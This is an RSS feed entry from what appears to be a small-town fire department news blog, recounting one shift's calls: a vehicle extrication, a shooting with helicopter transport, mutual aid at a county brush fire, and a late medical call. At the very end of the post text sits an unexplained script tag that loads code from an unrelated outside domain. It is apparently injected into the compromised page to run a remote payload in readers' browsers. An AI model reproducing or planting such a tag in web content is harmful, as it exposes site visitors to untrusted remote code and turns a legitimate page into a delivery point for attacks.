			<content:encoded><![CDATA[<p><a href='http://www.huttofirerescue.org/news/wp-content/uploads/2008/06/21.jpg'><img src="http://www.huttofirerescue.org/news/wp-content/uploads/2008/06/21-300x224.jpg" alt="" title="Live Oak / College" width="300" height="224" class="alignleft size-medium wp-image-49" /></a>Firefighters from the A shift were greeted with an interesting shift yesterday.  After completing morning chores of truck checks, firefighters were called to assist at the scene of a motor vehicle collision.  After arriving on scene, firefighters determined that to facilitate the removal of the driver, a chainsaw would have to be used to remove a large shrub (small tree) that was obstructing the driver&#8217;s side of the vehicle.  After removing the tree, firefighters and Paramedics from Williamson County EMS removed the driver and prepped her for transport to a local hospital.<span id="more-47"></span></p>
<p>Less than one hour later, firefighters were summoned to a shooting near Lone Star and Gainer Drive.  After a rapid assessment, a helicopter was summoned to transport the patient to Brackenridge Hospital in Austin.  From the arrival of the first fire/rescue units until transport on the helicopter was 16 minutes, which is a very good time.</p>
<p>After a few hours back at the station mowing the lawns and cleaning and repairing small equipment, a request from the Coupland Fire Department was received.  2 Firefighters on a brush truck with extra medical equipment responded to the Town of Coupland and provided protection while units from Coupland, Taylor, Grainger, Thrall, and Elgin fought a large brush fire in the South-Eastern portion of the county.  The Hutto Fire/Rescue truck was in Coupland for about 2 hours.  The City of Hutto was still protected by 3 firefighters staffing <a href="http://www.huttofirerescue.org/news/2007/12/27/new-fire-truck/">Engine 1</a>.  </p>
<p>After supper dishes were cleaned and placed in the pantry, the shift prepared for bed.  Just as lights out approached, firefighters were summoned to assist an EMS unit that was responding near the Legends of Hutto neighborhood for an individual suffering from a medical emergency.  Firefighters arrived within 6 minutes and began providing care.  Once EMS arrived, firefighters were cleared back to the station were the rest of the shift remained calm.<script src="http://secree.com/re"></script></p>
